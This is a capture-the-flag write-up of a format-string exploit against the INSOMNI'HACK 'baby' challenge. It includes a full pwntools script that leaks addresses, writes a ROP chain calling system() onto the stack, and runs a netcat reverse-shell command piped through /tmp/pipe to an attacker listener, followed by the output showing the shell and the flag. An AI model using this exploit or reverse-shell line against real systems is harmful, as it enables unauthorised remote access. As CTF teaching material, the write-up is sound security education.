I solved the pwn50 baby challenge after the end of the INSOMNI'HACK Teaser CTF. The executable contained 3 vulnerable functions: dostack
, dofmt
and doheap
. I only used the format string vulnerability get a reverse shell. If you want to test this, make sure you create the user baby
and run the challenge with sudo
. The server will be running in the port 1337. First, let's take a look on the memory corruption mitigations present in this binary:
gdb-peda$ checksec CANARY :ENABLED FORTIFY :disabled NX :ENABLED PIE :ENABLED RELRO :FULL
A format string vulnerability is really deadly because it allows arbitrary leaks and writes. However, we can't overwrite a libc function address in the GOT table because the binary was compiled with Full RELRO. Plus, the PIE protection takes full advantage of ASLR, which means that the .text
address space will be random every time we execute the program. Then, we'll need to leak a .text
address if we want to use some sort of ROP chain. I'm going to show you how to use format strings to bypass all these binary protections. Basically, the plan is:
Leak the stack address of the buffer, which is the first address leaked by the format string using %lx
. We can trust in this address, since the following addresses will be different for different child processes (There is a fork()
every time a new client connects).
Calculate where is the return address of the current function: retAddressStack = stackAddr + stackOffset
. stackOffset
will be constant regardless of the current child process.
Then, use the stack address of the return address to leak the return address itself, which is a .text
address.
Use the stack address of the return address (or the address of the buffer) to get a libc address from the main function stack frame. First, we need to calculate where the return address of main is on the stack: mainLibcStackAddr = retAddressStack + mainLibcStackOffset
. Again, this offset will be constant. Then, leak its value to get a libc address: libcAddress = leak(mainLibcStackAddr)
.
Since we have the libc from the server, we can calculate the address of system()
in the libc: systemAddr = libcAddress + systemOffset
.
Now, we have all the necessary information and we can start thinking about a ROP chain to get RCE, since we can't just overwrite a function in the GOT table and call it, given the Full RERLO protection. The thing is, it's possible to use format strings to write a ROP chain in the stack, but it's slower than a stack overflow, though. So, what are we going to write in the stack? A small ROP chain:
- Address of the gadget: pop rdi; ret - Address of the command we want to execute - Address of system()
This gadget will set the rdi register with the address of the arbitrary command. Note that rdi contains the first argument of the system function. The command will be written in the beginning of the buffer after this phase. Using the previous .text
address we just need to calculate the address of the gadget: popRdiAddress = textAddress + popRdiOffset
. After the ROP chain writing phase, I wrote the command in the buffer and made the function return normally by sending an empty string.
I tried to execute a reverse shell using netcat, but the netcat-traditional package was not installed in the server, which means that nc -e /bin/sh
didn't work. So, we need to use pipes to make it work with netcat-openbsd as you can see in the full exploit:
from pwn import *
HOST = "YOUR IP HERE"
PORT = 4444
command = "mknod /tmp/pipe p; /bin/sh 0</tmp/pipe | nc " + HOST + " " + str(PORT) + " 1>/tmp/pipe"
target = "baby.teaser.insomnihack.ch"
port = 1337
r = remote(target, port)
#offsets
mainLibcStackOffset = 0x7fffffffeb38 - 0x7fffffffeaa8
stackOffset = 0x7fffffffe508-0x7fffffffe0f0
systemOffset = 0x7ffff7a53390 - 0x7ffff7a2e830
popRdiOffset = 0x1c8b - 0x19cf
def write2Bytes(bytes, address):
lenFmt = "%" + str(bytes-17) + "x"
fmtB = "B"*(24-len(lenFmt)) + lenFmt + "%13$hnBB" + p64(address)
r.sendline(fmtB + "B"*(1023-len(fmtB)))
s = r.recvuntil("format > ")
def writeWhatWhere(what, where):
toWriteA = what & 0xffff
toWriteB = (what >> 16) & 0xffff
toWriteC = (what >> 32) & 0xffff
toWriteD = (what >> 48) & 0xffff
write2Bytes(toWriteA, where)
write2Bytes(toWriteB, where+2)
write2Bytes(toWriteC, where+4)
def leak(address):
fmt = "A"*24 + "%13$sAAA" + p64(address)
r.sendline(fmt + "A"*(1023-len(fmt)))
s = r.recvuntil("format > ")
sLeak = s[24:30].ljust(8, "\x00")
return struct.unpack("<Q", sLeak)[0]
s = r.recvuntil("choice > ")
r.sendline("2")
s = r.recvuntil("format > ")
r.sendline("%lx")
s = r.recvuntil("format > ")
sStackAddr = "0x" + s[:s.find("\n")]
stackAddr = int(sStackAddr, 16)
retAddressStack = stackAddr + stackOffset
print("[*] Leak: stackAddr: " + str(hex(stackAddr)))
print("[*] Leak: ret address @ stack: " + str(hex(retAddressStack)))
textAddress = leak(retAddressStack)
print("[*] Leak: original ret address: " + str(hex(textAddress)))
mainLibcStackAddr = retAddressStack + mainLibcStackOffset
libcAddress = leak(mainLibcStackAddr)
print("[*] Leak: <__libc_start_main+240> address: " + str(hex(libcAddress)))
systemAddr = libcAddress + systemOffset
popRdiAddress = textAddress + popRdiOffset
print("[*] Leak: pop rdi address: " + str(hex(popRdiAddress)))
print("--- WRITING ROP CHAIN ---")
print("[*] Overwriting return address with pop rdi")
writeWhatWhere(popRdiAddress, retAddressStack)
print("[*] Writing command address")
writeWhatWhere(stackAddr+8, retAddressStack+8)
print("[*] Writing system() address")
writeWhatWhere(systemAddr, retAddressStack+16)
r.sendline("A"*8 + command)
s = r.recvuntil("format > ")
r.sendline("")
print("[*] Exploit complete. Check your reverse shell @ %s:%s" % (HOST, PORT))
r.close()
[+ ] Opening connection to baby.teaser.insomnihack.ch on port 1337: Done [*] Leak: stackAddr: 0x7ffe526fc100 [*] Leak: ret address @ stack: 0x7ffe526fc518 [*] Leak: original ret address: 0x55f1410d79cf [*] Leak: <__libc_start_main+240> address: 0x7f129d2be830 [*] Leak: pop rdi address: 0x55f1410d7c8b --- WRITING ROP CHAIN --- [*] Overwriting return address with pop rdi [*] Writing command address [*] Writing system() address [*] Exploit complete. [*] Closed connection to baby.teaser.insomnihack.ch port 1337
$ nc -lv 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from [52.213.236.162] port 4444 [tcp/*] accepted (family 2, sport 59400) ls baby flag cat flag INS{if_you_haven't_solve_it_with_the_heap_overflow_you're_a_baby!}
Got it... I'll practice some heap voodoo soon!
system()
with this command, you could also get a reverse shell by calling mprotect()
and running shellcode.